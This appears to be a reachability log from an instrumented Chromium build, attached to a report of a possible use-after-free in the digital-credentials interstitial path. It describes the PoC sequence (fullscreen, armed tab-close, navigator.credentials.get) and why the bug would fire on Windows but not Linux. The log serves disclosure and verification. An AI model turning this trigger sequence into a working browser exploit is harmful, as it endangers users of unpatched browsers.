=== Linux path-reachability verification (instrumented build) ===
This log confirms the web-content POC reaches the unguarded write site at
content/browser/digital_credentials/digital_identity_request_impl.cc:651
and that ShowDigitalIdentityInterstitial() synchronously calls
web_contents->ExitFullscreen(true) via BlockWebContentsInteraction →
SetWebContentsBlocked while the page is in HTML fullscreen.

On Linux, ExitFullscreen() does not pump the message loop, so the
WebContents survives and no UAF fires. On Windows, ExitFullscreenModeForTab
can pump messages (web_contents_impl.cc:4878-4885 / crbug.com/1506535),
allowing a queued tab-close to destroy the WebContents — and therefore the
DigitalIdentityRequestImpl DocumentService — before control returns to the
move-assignment at :651.

[runner] page url: http://localhost:8080/poc.html
[runner] has digital: True
[runner] btn present: True
[runner] click 1: enter fullscreen
[runner] log: step1: requestFullscreen()
fullscreenElement=true

[runner] fullscreenElement: True
[runner] click 2: navigator.credentials.get({digital})
[runner] log: step1: requestFullscreen()
fullscreenElement=true
step2: arming tab-close + credentials.get
navigator.credentials.get({digital:...})


=== [POC] markers from chrome stderr ===
[1596:1596:0604/001315.153710:ERROR:content/browser/digital_credentials/digital_identity_request_impl.cc:653] [POC] DigitalIdentityRequestImpl::Get this=0x70cd5809d5a0 calling ShowDigitalIdentityInterstitial
[1596:1596:0604/001315.161739:ERROR:chrome/browser/ui/web_modal/browser_window_modal_dialog_delegate.cc:75] [POC] SetWebContentsBlocked: ExitFullscreen(true) (on Windows this may pump the message loop and destroy the WebContents)
[1596:1596:0604/001315.170104:ERROR:chrome/browser/ui/web_modal/browser_window_modal_dialog_delegate.cc:79] [POC] SetWebContentsBlocked: ExitFullscreen returned
[1596:1596:0604/001315.170498:ERROR:content/browser/digital_credentials/digital_identity_request_impl.cc:662] [POC] DigitalIdentityRequestImpl::Get this=0x70cd5809d5a0 assigned update_interstitial_on_abort_callback_ (UAF write-site if `this` freed during call)